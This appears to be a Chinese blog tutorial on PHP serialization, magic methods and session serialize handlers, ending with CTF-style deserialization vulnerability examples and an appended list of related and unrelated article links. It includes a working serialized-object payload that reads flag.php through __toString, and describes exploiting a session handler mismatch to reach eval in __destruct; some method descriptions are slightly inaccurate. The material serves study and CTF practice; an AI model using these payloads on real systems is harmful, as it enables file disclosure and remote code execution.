尽量阐述全PHP序列化的相关东西-。-
1.序列化和反序列化
  序列化是将变量或对象转换成字符串的过程;反序列化是将字符串转换成变量或对象的过程。
  序列化及反序列化常见函数:serialize、unserialize、json_encode、json_decode。
  序列化之后的格式:
    array(a)
      a:<length>:{key,value对},例如a:1:{i,1;j,2;}
    Boolean(b)
    double(d)
    integer(i)
    object(o)
      O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>},例如O:6:"person":2:{s:4:"name";N;d:3:"age";i:19;}(person对象name的属性值为null,age的属性值为19)
    string(s)
      s:length:"value",例如s:1:"f"
    null(N)
 
2.PHP中魔幻函数
  construct:创建对象时初始化
  destruction:结束时销毁对象
  toString:对象被当作字符串时使用
  sleep:序列化对象之前调用
  wakeup:反序列化之前调用
  call:调用对象不存在时使用
  get:调用私有属性时使用
 
3.php_session序列化及反序列化知识
  PHP内置了很多处理器用于对存入$session的数据进行序列化和反序列化。有三种:php_binary(形式:键名长度的ASCII码+键名+序列化的值)、php(形式:键名+“|”+序列化的值)和php_serialize(5.5.4以上版本形式:序列化的值)。可在php.ini中对session.serialize_handler进行设置,也可在代码中对ini_set('session.serialize_handler','php')进行设置。
  示例:
代码:
<?php
ini_set('
session.serialize_handler', 'php');session_start();
$_SESSION['a'] = $_GET['a'];
var_dump($_SESSION);
?>
当网址中a=O:4:"pass":0:{}时,
php模式下形式为a|s:15:"O:4:"pass":0:{}";
php_serialize模式下形式为a:1:{s:1:"a";s:15:"O:4:"pass":0:{}";}
  注意,要真的模拟测试,需要百度做详细的各种PHP参数配置哈。
 
4.安全漏洞
例1:将已序列化值反序列化,造成魔幻函数执行
<script language="php">
class Flag{ //flag.php    
public $file;    
public function __tostring(){        
if(isset($this->file)){            
echo file_get_contents($this->file);            
echo "<br />";        
return ("good");        }    }}
$password = unserialize($_GET['password']);  
echo $password;   
</script>
  说明:当对象被当做字符串(如序列化的结果是字符串)时会调用__tostring()魔幻函数。
payload:
<script language="php">
class Flag{ //flag.php    
public $file;    
public function __tostring(){        
if(isset($this->file)){            
echo file_get_contents($this->file);           
echo "<br />";        
return ("good");        }    }}
$obj = new Flag();
$obj->file = "Flag.php";
echo serialize($obj);
</script>
  输出序列化字符串:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
  
  将此字符串放至$password变量中,执行即可获取flag.php界面的内容。
 
例2:PHP session处理器设置不当造成安全漏洞
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');session_start();
class OowoO{    
public $mdzz;    
function __construct()   
{        
$this->mdzz = 'phpinfo();';    
}    
function __destruct()    
{        eval($this->mdzz);   
}
}
if(isset($_GET['phpinfo']))
{    
$m = new OowoO();
}
else
{    
highlight_string(file_get_contents('index.php'));
}?>
  已知,php.ini(通过phpinfo可看)中session.serialize_handler = php_serilize,代码中ini_set('session.serialize_handler', 'php');
  注意,php会以“|”为界,将之前和之后的内容分别设为键名和键值;而php_serialize恰巧对“|”不敏感。emmmmm,猜到构造方法了吧-。-
  可以给网页传入一个php_serialize的session,然后通过网页的php处理器解析后将“|”后的内容解析成值,执行之。
 
 
 
 
 
 

PHP序列及反序列化安全漏洞的更多相关文章

  1. 企业安全05-Fastjson <=1.2.47反序列化RCE漏洞(CNVD-2019-22238)

    Fastjson <=1.2.47反序列化RCE漏洞(CNVD-2019-22238) 一.漏洞描述 Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 ...

  2. Spring framework 反序列化的漏洞

    理解这个漏洞需要先看freebuff上的jdni的小例子. jndi注入在jdk8u121绕过参考这俩篇文章: https://bl4ck.in/tricks/2019/01/04/JNDI-Inje ...

  3. Weblogic 'wls-wsat' XMLDecoder 反序列化_CVE-2017-10271漏洞复现

    Weblogic 'wls-wsat' XMLDecoder 反序列化_CVE-2017-10271漏洞复现 一.漏洞概述  WebLogic的 WLS Security组件对外提供webservic ...

  4. C# xml数组的序列和反序列化

    先来看xml <?xml version="1.0"?> <root xmlns:xsi="http://www.w3.org/2001/XMLSche ...

  5. Apache Shiro 反序列化RCE漏洞

    漏洞介绍 漏洞类型 :JAVA反序列化(RCE) 影响版本 :Apache Shiro 1.2.4及其之前版本 漏洞评级 :高危 漏洞分析 #: 下载漏洞环境: git clone https://g ...

  6. Apache Shiro<=1.2.4反序列化RCE漏洞

    介绍:Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 漏洞原因:因为shiro对cookie里的rememberme字段进行了反序列化,所以如果知道了 ...

  7. .NET(C#)使用Serialize、Deserialize序列和反序列化XML文档

    本文给大家分享一下C#操作(读取.写入)XML文档的实用方法,即用.NET本身提供的Deserialize和Serialize进行反序列化和序列化XML文档.这种方法主要是对比较规范的XML文档进行操 ...

  8. fastjson<=1.2.47反序列化RCE漏洞

    介绍:fastjson是一个Java语言编写的高性能功能完善的JSON库. 漏洞原因:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并通过json来填充其属性 ...

  9. golang的序列与反序列化

    golang写backend之类的应用,还是挺方便的...使用encoding/json包时, 必须注意, 在struct定义的属性必须是exported, 否则不会设置值. 例如:type DRol ...

随机推荐

  1. clientX,screenX,pageX,offsetX的异同

    pageX/pageY: 鼠标相对于整个页面的X/Y坐标.注意,整个页面的意思就是你整个网页的全部,比如说网页很宽很长,宽2000px,高3000px,那pageX,pageY的最大值就是它们了. 特 ...

  2. gitlab入门

    目录 git下载 注册ssh git客户端及图形化工具tortoisegit下载: git客户端安装: https://git-scm.com/download   (git客户端 此种需要命令行执行 ...

  3. vue .map 文件

    参数: productionSourceMap:false 这个改为false.去掉打包产生的map文件 map文件的作用:定位线上错误代码位置;

  4. React/anu实现Touchable

    在RN中有一个叫Touchable 的组件,这里我们重演如何实现它. Touchable存在的意义是屏蔽click的问题.移动端与手机的click 在一些浏览器是有差异,比如说著名的300ms延迟. ...

  5. 使用jQuery+huandlebars遍历展示对象中的数组

    兼容ie8(很实用,复制过来,仅供技术参考,更详细内容请看源地址:http://www.cnblogs.com/iyangyuan/archive/2013/12/12/3471227.html) & ...

  6. delphi Drag and Drop sample 鼠标拖放操作实例

    Drag and Drop is a common operation that makes the interface user friendly: a user can drag/drop inf ...

  7. Delphi中For In 语法应用实例

    一.遍历 TStrings var List: TStrings; s: string; begin List := TStringList.Create; List.CommaText := 'aa ...

  8. C#转成时间格式

    public static string GetDatetime()        {            System.Globalization.DateTimeFormatInfo myDTF ...

  9. swift视图的添加及层次变动和基本动画

    // 一般的我们添加一个视图到父视图都是通过 /* let v1 = UIView(frame:CGRectMake(100,200,30,50)) self.view.addSubview(v1) ...

  10. supervisord 进程管家

    s supervisor supervisor管理进程,是通过fork/exec的方式将这些被管理的进程当作supervisor的子进程来启动,所以我们只需要将要管理进程的可执行文件的路径添加到sup ...